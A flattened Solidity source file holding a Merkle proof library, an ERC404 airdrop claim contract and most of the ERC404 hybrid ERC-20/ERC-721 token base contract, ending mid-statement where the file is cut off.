pragma solidity ^0.8.20; library MerkleProof { /** *@dev The multiproof provided is not valid. */ error MerkleProofInvalidMultiproof(); /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Calldata version of {verify} */ function verifyCalldata(bytes32[] calldata proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { return processProofCalldata(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Calldata version of {processProof} */ function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a Merkle tree defined by * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}. * * CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details. */ function multiProofVerify( bytes32[] memory proof, bool[] memory proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProof(proof, proofFlags, leaves) == root; } /** * @dev Calldata version of {multiProofVerify} * * CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details. */ function multiProofVerifyCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProofCalldata(proof, proofFlags, leaves) == root; } /** * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false * respectively. * * CAUTION: Not all Merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer). */ function processMultiProof( bytes32[] memory proof, bool[] memory proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the Merkle tree. uint256 leavesLen = leaves.length; uint256 proofLen = proof.length; uint256 totalHashes = proofFlags.length; // Check proof validity. if (leavesLen + proofLen != totalHashes + 1) { revert MerkleProofInvalidMultiproof(); } // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]) : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { if (proofPos != proofLen) { revert MerkleProofInvalidMultiproof(); } unchecked { return hashes[totalHashes - 1]; } } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } /** * @dev Calldata version of {processMultiProof}. * * CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details. */ function processMultiProofCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the Merkle tree. uint256 leavesLen = leaves.length; uint256 proofLen = proof.length; uint256 totalHashes = proofFlags.length; // Check proof validity. if (leavesLen + proofLen != totalHashes + 1) { revert MerkleProofInvalidMultiproof(); } // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]) : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { if (proofPos != proofLen) { revert MerkleProofInvalidMultiproof(); } unchecked { return hashes[totalHashes - 1]; } } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } /** * @dev Sorts the pair (a, b) and hashes the result. */ function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { return a < b ? _efficientHash(a, b) : _efficientHash(b, a); } /** * @dev Implementation of keccak256(abi.encode(a, b)) that doesn't allocate or expand memory. */ function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { /// @solidity memory-safe-assembly assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } interface IERC404MerkleClaim { error AirdropAlreadyClaimed(); error NotEligibleForAirdrop(); error AirdropIsClosed(); function verifyProof( bytes32[] memory proof_, address claimer_, uint256 value_ ) external view returns (bool); function airdropMint(bytes32[] memory proof_, uint256 value_) external; } //SPDX-License-Identifier: MIT abstract contract ERC404MerkleClaim is IERC404MerkleClaim { bool public airdropIsOpen; bytes32 public airdropMerkleRoot; mapping(address => bool) public hasClaimedAirdrop; modifier whenAirdropIsOpen() { if (airdropMerkleRoot == 0 || !airdropIsOpen) { revert AirdropIsClosed(); } _; } function verifyProof( bytes32[] memory proof_, address claimer_, uint256 value_ ) public view returns (bool) { bytes32 leaf = keccak256( bytes.concat(keccak256(abi.encode(claimer_, value_))) ); if (MerkleProof.verify(proof_, airdropMerkleRoot, leaf)) { return true; } return false; } // To use, override this function in your contract, call // super.airdropMint(proof_) within your override function, then mint tokens. function airdropMint( bytes32[] memory proof_, uint256 value_ ) public virtual whenAirdropIsOpen { _validateAndRecordAirdropClaim(proof_, msg.sender, value_); } function _setAirdropMerkleRoot(bytes32 airdropMerkleRoot_) internal { airdropMerkleRoot = airdropMerkleRoot_; } function _toggleAirdropIsOpen() internal { airdropIsOpen = !airdropIsOpen; } function _validateAndRecordAirdropClaim( bytes32[] memory proof_, address claimer_, uint256 value_ ) internal { // Check that the address is eligible. if (!verifyProof(proof_, claimer_, value_)) { revert NotEligibleForAirdrop(); } // Check if address has already claimed their airdrop. if (hasClaimedAirdrop[claimer_]) { revert AirdropAlreadyClaimed(); } // Mark address as claimed. hasClaimedAirdrop[claimer_] = true; } }
pragma solidity ^0.8.20; interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be * reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC404 { error NotFound(); error InvalidTokenId(); error AlreadyExists(); error InvalidRecipient(); error InvalidSender(); error InvalidSpender(); error InvalidOperator(); error UnsafeRecipient(); error RecipientIsERC721TransferExempt(); error Unauthorized(); error InsufficientAllowance(); error DecimalsTooLow(); error PermitDeadlineExpired(); error InvalidSigner(); error InvalidApproval(); error OwnedIndexOverflow(); error MintLimitReached(); error InvalidExemption(); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function erc20TotalSupply() external view returns (uint256); function erc721TotalSupply() external view returns (uint256); function balanceOf(address owner_) external view returns (uint256); function erc721BalanceOf(address owner_) external view returns (uint256); function erc20BalanceOf(address owner_) external view returns (uint256); function erc721TransferExempt(address account_) external view returns (bool); function isApprovedForAll( address owner_, address operator_ ) external view returns (bool); function allowance( address owner_, address spender_ ) external view returns (uint256); function owned(address owner_) external view returns (uint256[] memory); function ownerOf(uint256 id_) external view returns (address erc721Owner); function tokenURI(uint256 id_) external view returns (string memory); function approve( address spender_, uint256 valueOrId_ ) external returns (bool); function erc20Approve( address spender_, uint256 value_ ) external returns (bool); function erc721Approve(address spender_, uint256 id_) external; function setApprovalForAll(address operator_, bool approved_) external; function transferFrom( address from_, address to_, uint256 valueOrId_ ) external returns (bool); function erc20TransferFrom( address from_, address to_, uint256 value_ ) external returns (bool); function erc721TransferFrom(address from_, address to_, uint256 id_) external; function transfer(address to_, uint256 amount_) external returns (bool); function getERC721QueueLength() external view returns (uint256); function getERC721TokensInQueue( uint256 start_, uint256 count_ ) external view returns (uint256[] memory); function setSelfERC721TransferExempt(bool state_) external; function safeTransferFrom(address from_, address to_, uint256 id_) external; function safeTransferFrom( address from_, address to_, uint256 id_, bytes calldata data_ ) external; function DOMAIN_SEPARATOR() external view returns (bytes32); function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) external; } library DoubleEndedQueue { /** * @dev An operation (e.g. {front}) couldn't be completed due to the queue being empty. */ error QueueEmpty(); /** * @dev A push operation couldn't be completed due to the queue being full. */ error QueueFull(); /** * @dev An operation (e.g. {at}) couldn't be completed due to an index being out of bounds. */ error QueueOutOfBounds(); /** * @dev Indices are 128 bits so begin and end are packed in a single storage slot for efficient access. * * Struct members have an underscore prefix indicating that they are "private" and should not be read or written to * directly. Use the functions provided below instead. Modifying the struct manually may violate assumptions and * lead to unexpected behavior. * * The first item is at data[begin] and the last item is at data[end - 1]. This range can wrap around. */ struct Uint256Deque { uint128 _begin; uint128 _end; mapping(uint128 index => uint256) _data; } /** * @dev Inserts an item at the end of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushBack(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 backIndex = deque._end; if (backIndex + 1 == deque._begin) revert QueueFull(); deque._data[backIndex] = value; deque._end = backIndex + 1; } } /** * @dev Removes the item at the end of the queue and returns it. * * Reverts with {QueueEmpty} if the queue is empty. */ function popBack( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 backIndex = deque._end; if (backIndex == deque._begin) revert QueueEmpty(); --backIndex; value = deque._data[backIndex]; delete deque._data[backIndex]; deque._end = backIndex; } } /** * @dev Inserts an item at the beginning of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushFront(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 frontIndex = deque._begin - 1; if (frontIndex == deque._end) revert QueueFull(); deque._data[frontIndex] = value; deque._begin = frontIndex; } } /** * @dev Removes the item at the beginning of the queue and returns it. * * Reverts with `QueueEmpty` if the queue is empty. */ function popFront( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 frontIndex = deque._begin; if (frontIndex == deque._end) revert QueueEmpty(); value = deque._data[frontIndex]; delete deque._data[frontIndex]; deque._begin = frontIndex + 1; } } /** * @dev Returns the item at the beginning of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function front( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); return deque._data[deque._begin]; } /** * @dev Returns the item at the end of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function back( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); unchecked { return deque._data[deque._end - 1]; } } /** * @dev Return the item at a position in the queue given by `index`, with the first item at 0 and last item at * `length(deque) - 1`. * * Reverts with `QueueOutOfBounds` if the index is out of bounds. */ function at( Uint256Deque storage deque, uint256 index ) internal view returns (uint256 value) { if (index >= length(deque)) revert QueueOutOfBounds(); // By construction, length is a uint128, so the check above ensures that index can be safely downcast to uint128 unchecked { return deque._data[deque._begin + uint128(index)]; } } /** * @dev Resets the queue back to being empty. * * NOTE: The current items are left behind in storage. This does not affect the functioning of the queue, but misses * out on potential gas refunds. */ function clear(Uint256Deque storage deque) internal { deque._begin = 0; deque._end = 0; } /** * @dev Returns the number of items in the queue. */ function length(Uint256Deque storage deque) internal view returns (uint256) { unchecked { return uint256(deque._end - deque._begin); } } /** * @dev Returns true if the queue is empty. */ function empty(Uint256Deque storage deque) internal view returns (bool) { return deque._end == deque._begin; } } library ERC721Events { event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); event Approval( address indexed owner, address indexed spender, uint256 indexed id ); event Transfer(address indexed from, address indexed to, uint256 indexed id); } library ERC20Events { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); } abstract contract ERC404 is IERC404 { using DoubleEndedQueue for DoubleEndedQueue.Uint256Deque; /// @dev The queue of ERC-721 tokens stored in the contract. DoubleEndedQueue.Uint256Deque private _storedERC721Ids; /// @dev Token name string public name; /// @dev Token symbol string public symbol; /// @dev Decimals for ERC-20 representation uint8 public immutable decimals; /// @dev Units for ERC-20 representation uint256 public immutable units; /// @dev Total supply in ERC-20 representation uint256 public totalSupply; /// @dev Current mint counter which also represents the highest /// minted id, monotonically increasing to ensure accurate ownership uint256 public minted; /// @dev Initial chain id for EIP-2612 support uint256 internal immutable _INITIAL_CHAIN_ID; /// @dev Initial domain separator for EIP-2612 support bytes32 internal immutable _INITIAL_DOMAIN_SEPARATOR; /// @dev Balance of user in ERC-20 representation mapping(address => uint256) public balanceOf; /// @dev Allowance of user in ERC-20 representation mapping(address => mapping(address => uint256)) public allowance; /// @dev Approval in ERC-721 representaion mapping(uint256 => address) public getApproved; /// @dev Approval for all in ERC-721 representation mapping(address => mapping(address => bool)) public isApprovedForAll; /// @dev Packed representation of ownerOf and owned indices mapping(uint256 => uint256) internal _ownedData; /// @dev Array of owned ids in ERC-721 representation mapping(address => uint256[]) internal _owned; /// @dev Addresses that are exempt from ERC-721 transfer, typically for gas savings (pairs, routers, etc) mapping(address => bool) internal _erc721TransferExempt; /// @dev EIP-2612 nonces mapping(address => uint256) public nonces; /// @dev Address bitmask for packed ownership data uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1; /// @dev Owned index bitmask for packed ownership data uint256 private constant _BITMASK_OWNED_INDEX = ((1 << 96) - 1) << 160; /// @dev Constant for token id encoding uint256 public constant ID_ENCODING_PREFIX = 1 << 255; constructor(string memory name_, string memory symbol_, uint8 decimals_) { name = name_; symbol = symbol_; if (decimals_ < 18) { revert DecimalsTooLow(); } decimals = decimals_; units = 10 ** decimals; // EIP-2612 initialization _INITIAL_CHAIN_ID = block.chainid; _INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator(); } /// @notice Function to find owner of a given ERC-721 token function ownerOf( uint256 id_ ) public view virtual returns (address erc721Owner) { erc721Owner = _getOwnerOf(id_); if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } if (erc721Owner == address(0)) { revert NotFound(); } } function owned( address owner_ ) public view virtual returns (uint256[] memory) { return _owned[owner_]; } function erc721BalanceOf( address owner_ ) public view virtual returns (uint256) { return _owned[owner_].length; } function erc20BalanceOf( address owner_ ) public view virtual returns (uint256) { return balanceOf[owner_]; } function erc20TotalSupply() public view virtual returns (uint256) { return totalSupply; } function erc721TotalSupply() public view virtual returns (uint256) { return minted; } function getERC721QueueLength() public view virtual returns (uint256) { return _storedERC721Ids.length(); } function getERC721TokensInQueue( uint256 start_, uint256 count_ ) public view virtual returns (uint256[] memory) { uint256[] memory tokensInQueue = new uint256[](count_); for (uint256 i = start_; i < start_ + count_; ) { tokensInQueue[i - start_] = _storedERC721Ids.at(i); unchecked { ++i; } } return tokensInQueue; } /// @notice tokenURI must be implemented by child contract function tokenURI(uint256 id_) public view virtual returns (string memory); /// @notice Function for token approvals /// @dev This function assumes the operator is attempting to approve /// an ERC-721 if valueOrId_ is a possibly valid ERC-721 token id. /// Unlike setApprovalForAll, spender_ must be allowed to be 0x0 so /// that approval can be revoked. function approve( address spender_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721Approve(spender_, valueOrId_); } else { return erc20Approve(spender_, valueOrId_); } return true; } function erc721Approve(address spender_, uint256 id_) public virtual { // Intention is to approve as ERC-721 token (id). address erc721Owner = _getOwnerOf(id_); if ( msg.sender != erc721Owner && !isApprovedForAll[erc721Owner][msg.sender] ) { revert Unauthorized(); } getApproved[id_] = spender_; emit ERC721Events.Approval(erc721Owner, spender_, id_); } /// @dev Providing type(uint256).max for approval value results in an /// unlimited approval that is not deducted from on transfers. function erc20Approve( address spender_, uint256 value_ ) public virtual returns (bool) { // Prevent granting 0x0 an ERC-20 allowance. if (spender_ == address(0)) { revert InvalidSpender(); } allowance[msg.sender][spender_] = value_; emit ERC20Events.Approval(msg.sender, spender_, value_); return true; } /// @notice Function for ERC-721 approvals function setApprovalForAll(address operator_, bool approved_) public virtual { // Prevent approvals to 0x0. if (operator_ == address(0)) { revert InvalidOperator(); } isApprovedForAll[msg.sender][operator_] = approved_; emit ERC721Events.ApprovalForAll(msg.sender, operator_, approved_); } /// @notice Function for mixed transfers from an operator that may be different than 'from'. /// @dev This function assumes the operator is attempting to transfer an ERC-721 /// if valueOrId is a possible valid token id. function transferFrom( address from_, address to_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721TransferFrom(from_, to_, valueOrId_); } else { // Intention is to transfer as ERC-20 token (value). return erc20TransferFrom(from_, to_, valueOrId_); } return true; } /// @notice Function for ERC-721 transfers from. /// @dev This function is recommended for ERC721 transfers. function erc721TransferFrom( address from_, address to_, uint256 id_ ) public virtual { // Prevent minting tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } if (from_ != _getOwnerOf(id_)) { revert Unauthorized(); } // Check that the operator is either the sender or approved for the transfer. if ( msg.sender != from_ && !isApprovedForAll[from_][msg.sender] && msg.sender != getApproved[id_] ) { revert Unauthorized(); } // We only need to check ERC-721 transfer exempt status for the recipient // since the sender being ERC-721 transfer exempt means they have already // had their ERC-721s stripped away during the rebalancing process. if (erc721TransferExempt(to_)) { revert RecipientIsERC721TransferExempt(); } // Transfer 1 * units ERC-20 and 1 ERC-721 token. // ERC-721 transfer exemptions handled above. Can't make it to this point if either is transfer exempt. _transferERC20(from_, to_, units); _transferERC721(from_, to_, id_); } /// @notice Function for ERC-20 transfers from. /// @dev This function is recommended for ERC20 transfers function erc20TransferFrom( address from_, address to_, uint256 value_ ) public virtual returns (bool) { // Prevent minting tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } uint256 allowed = allowance[from_][msg.sender]; // Check that the operator has sufficient allowance. if (allowed != type(uint256).max) { allowance[from_][msg.sender] = allowed - value_; } // Transferring ERC-20s directly requires the _transferERC20WithERC721 function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(from_, to_, value_); } /// @notice Function for ERC-20 transfers. /// @dev This function assumes the operator is attempting to transfer as ERC-20 /// given this function is only supported on the ERC-20 interface. /// Treats even large amounts that are valid ERC-721 ids as ERC-20s. function transfer(address to_, uint256 value_) public virtual returns (bool) { // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } // Transferring ERC-20s directly requires the _transferERC20WithERC721 function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(msg.sender, to_, value_); } /// @notice Function for ERC-721 transfers with contract support. /// This function only supports moving valid ERC-721 ids, as it does not exist on the ERC-20 /// spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_ ) public virtual { safeTransferFrom(from_, to_, id_, ""); } /// @notice Function for ERC-721 transfers with contract support and callback data. /// This function only supports moving valid ERC-721 ids, as it does not exist on the /// ERC-20 spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_, bytes memory data_ ) public virtual { if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } transferFrom(from_, to_, id_); if ( to_.code.length != 0 && IERC721Receiver(to_).onERC721Received(msg.sender, from_, id_, data_) != IERC721Receiver.onERC721Received.selector ) { revert UnsafeRecipient(); } } /// @notice Function for EIP-2612 permits (ERC-20 only). /// @dev Providing type(uint256).max for permit value results in an /// unlimited approval that is not deducted from on transfers. function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) public virtual { if (deadline_ < block.timestamp) { revert PermitDeadlineExpired(); } // permit cannot be used for ERC-721 token approvals, so ensure // the value does not fall within the valid range of ERC-721 token ids. if (_isValidTokenId(value_)) { revert InvalidApproval(); } if (spender_ == address(0)) { revert InvalidSpender(); } unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner_, spender_, value_, nonces[owner_]++, deadline_ ) ) ) ), v_, r_, s_ ); if (recoveredAddress == address(0) || recoveredAddress != owner_) { revert InvalidSigner(); } allowance[recoveredAddress][spender_] = value_; } emit ERC20Events.Approval(owner_, spender_, value_); } /// @notice Returns domain initial domain separator, or recomputes if chain id is not equal to initial chain id function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == _INITIAL_CHAIN_ID ? _INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator(); } function supportsInterface( bytes4 interfaceId ) public view virtual returns (bool) { return interfaceId == type(IERC404).interfaceId || interfaceId == type(IERC165).interfaceId; } /// @notice Function for self-exemption function setSelfERC721TransferExempt(bool state_) public virtual { _setERC721TransferExempt(msg.sender, state_); } /// @notice Function to check if address is transfer exempt function erc721TransferExempt( address target_ ) public view virtual returns (bool) { return target_ == address(0) || _erc721TransferExempt[target_]; } /// @notice For a token token id to be considered valid, it just needs /// to fall within the range of possible token ids, it does not /// necessarily have to be minted yet. function _isValidTokenId(uint256 id_) internal pure returns (bool) { return id_ > ID_ENCODING_PREFIX && id_ != type(uint256).max; } /// @notice Internal function to compute domain separator for EIP-2612 permits function _computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /// @notice This is the lowest level ERC-20 transfer function, which /// should be used for both normal ERC-20 transfers as well as minting. /// Note that this function allows transfers to and from 0x0. function _transferERC20( address from_, address to_, uint256 value_ ) internal virtual { // Minting is a special case for which we should not check the balance of // the sender, and we should increase the total supply. if (from_ == address(0)) { totalSupply += value_; } else { // Deduct value from sender's balance. balanceOf[from_] -= value_; } // Update the recipient's balance. // Can be unchecked because on mint, adding to totalSupply is checked, and on transfer balance deduction is checked. unchecked { balanceOf[to_] += value_; } emit ERC20Events.Transfer(from_, to_, value_); } /// @notice Consolidated record keeping function for transferring ERC-721s. /// @dev Assign the token to the new owner, and remove from the old owner. /// Note that this function allows transfers to and from 0x0. /// Does not handle ERC-721 exemptions. function _transferERC721( address from_, address to_, uint256 id_ ) internal virtual { // If this is not a mint, handle record keeping for transfer from previous owner. if (from_ != address(0)) { // On transfer of an NFT, any previous approval is reset. delete getApproved[id_]; uint256 updatedId = _owned[from_][_owned[from_].length - 1]; if (updatedId != id_) { uint256 updatedIndex = _getOwnedIndex(id_); // update _owned for sender _owned[from_][updatedIndex] = updatedId; // update index for the moved id _setOwnedIndex(updatedId, updatedIndex); } // pop _owned[from_].pop(); } // Check if this is a burn. if (to_ != address(0)) { // If not a burn, update the owner of the token to the new owner. // Update owner of the token to the new owner. _setOwnerOf(id_, to_); // Push token onto the new owner's stack. _owned[to_].push(id_); // Update index for new owner's stack. _setOwnedIndex(id_, _owned[to_].length - 1); } else { // If this is a burn, reset the owner of the token to 0x0 by deleting the token from _ownedData. delete _ownedData[id_]; } emit ERC721Events.Transfer(from_, to_, id_); } /// @notice Internal function for ERC-20 transfers. Also handles any ERC-721 transfers that may be required. // Handles ERC-721 exemptions. function _transferERC20WithERC721( address from_, address to_, uint256 value_ ) internal virtual returns (bool) { uint256 erc20BalanceOfSenderBefore = erc20BalanceOf(from_); uint256 erc20BalanceOfReceiverBefore = erc20BalanceOf(to_); _transferERC20(from_, to_, value_); // Preload for gas savings on branches bool isFromERC721TransferExempt = erc721TransferExempt(from_); bool isToERC721TransferExempt = erc721TransferExempt(to_); // Skip _withdrawAndStoreERC721 and/or _retrieveOrMintERC721 for ERC-721 transfer exempt addresses // 1) to save gas // 2) because ERC-721 transfer exempt addresses won't always have/need ERC-721s corresponding to their ERC20s. if (isFromERC721TransferExempt && isToERC721TransferExempt) { // Case 1) Both sender and recipient are ERC-721 transfer exempt. No ERC-721s need to be transferred. // NOOP. } else if (isFromERC721TransferExempt) { // Case 2) The sender is ERC-721 transfer exempt, but the recipient is not. Contract should not attempt // to transfer ERC-721s from the sender, but the recipient should receive ERC-721s // from the bank/minted for any whole number increase in their balance. // Only cares about whole number increments. uint256 tokensToRetrieveOrMint = (balanceOf[to_] / units) - (erc20BalanceOfReceiverBefore / units); for (uint256 i = 0; i < tokensToRetrieveOrMint; ) { _retrieveOrMintERC721(to_); unchecked { ++i; } } } else if (isToERC721TransferExempt) { // Case 3) The sender is not ERC-721 transfer exempt, but the recipient is. Contract should attempt // to withdraw and store ERC-721s from the sender, but the recipient should not // receive ERC-721s from the bank/minted. // Only cares about whole number increments. uint256 tokensToWithdrawAndStore = (erc20BalanceOfSenderBefore / units) - (balanceOf[from_] / units); for (uint256 i = 0; i < tokensToWithdrawAndStore; ) { _withdrawAndStoreERC721(from_); unchecked { ++i; } } } else { // Case 4) Neither the sender nor the recipient are ERC-721 transfer exempt. // Strategy: // 1. First deal with the whole tokens. These are easy and will just be transferred. // 2. Look at the fractional part of the value: // a) If it causes the sender to lose a whole token that was represented by an NFT due to a // fractional part being transferred, withdraw and store an additional NFT from the sender. // b) If it causes the receiver to gain a whole new token that should be represented by an NFT // due to receiving a fractional part that completes a whole token, retrieve or mint an NFT to the recevier. // Whole tokens worth of ERC-20s get transferred as ERC-721s without any burning/minting. uint256 nftsToTransfer = value_ / units; for (uint256 i = 0; i < nftsToTransfer; ) { // Pop from sender's ERC-721 stack and transfer them (LIFO) uint256 indexOfLastToken = _owned[from_].length - 1; uint256 tokenId = _owned[from_][indexOfLastToken]; _transferERC721(from_, to_, tokenId); unchecked { ++i; } } // If the transfer changes either the sender or the recipient's holdings from a fractional to a non-fractional // amount (or vice versa), adjust ERC-721s. // First check if the send causes the sender to lose a whole token that was represented by an ERC-721 // due to a fractional part being transferred. // // Process: // Take the difference between the whole number of tokens before and after the transfer for the sender. // If that difference is greater than the number of ERC-721s transferred (whole units), then there was // an additional ERC-721 lost due to the fractional portion of the transfer. // If this is a self-send and the before and after balances are equal (not always the case but often), // then no ERC-721s will be lost here. if ( erc20BalanceOfSenderBefore / units - erc20BalanceOf(from_) / units > nftsToTransfer ) { _withdrawAndStoreERC721(from_); } // Then, check if the transfer causes the receiver to gain a whole new token which requires gaining // an additional ERC-721. // // Process: // Take the difference between the whole number of tokens before and after the transfer for the recipient. // If that difference is greater than the number of ERC-721s transferred (whole units), then there was // an additional ERC-721 gained due to the fractional portion of the transfer. // Again, for self-sends where the before and after balances are equal, no ERC-721s will be gained here. if ( erc20BalanceOf(to_) / units - erc20BalanceOfReceiverBefore / units > nftsToTransfer ) { _retrieveOrMintERC721(to_); } } return true; } /// @notice Internal function for ERC20 minting /// @dev This function will allow minting of new ERC20s. /// If mintCorrespondingERC721s_ is true, and the recipient is not ERC-721 exempt, it will /// also mint the corresponding ERC721s. /// Handles ERC-721 exemptions. function _mintERC20(address to_, uint256 value_) internal virtual { /// You cannot mint to the zero address (you can't mint and immediately burn in the same transfer). if (to_ == address(0)) { revert InvalidRecipient(); } if (totalSupply + value_ > ID_ENCODING_PREFIX) { revert MintLimitReached(); } _transferERC20WithERC721(address(0), to_, value_); } /// @notice Internal function for ERC-721 minting and retrieval from the bank. /// @dev This function will allow minting of new ERC-721s up to the total fractional supply. It will /// first try to pull from the bank, and if the bank is empty, it will mint a new token. /// Does not handle ERC-721 exemptions. function _retrieveOrMintERC721(address to_) internal virtual { if (to_ == address(0)) { revert InvalidRecipient(); } uint256 id; if (!_storedERC721Ids.empty()) { // If there are any tokens in the bank, use those first. // Pop off the end of the queue (FIFO). id = _storedERC721Ids.popBack(); } else { // Otherwise, mint a new token, should not be able to go over the total fractional supply. ++minted; // Reserve max uint256 for approvals if (minted 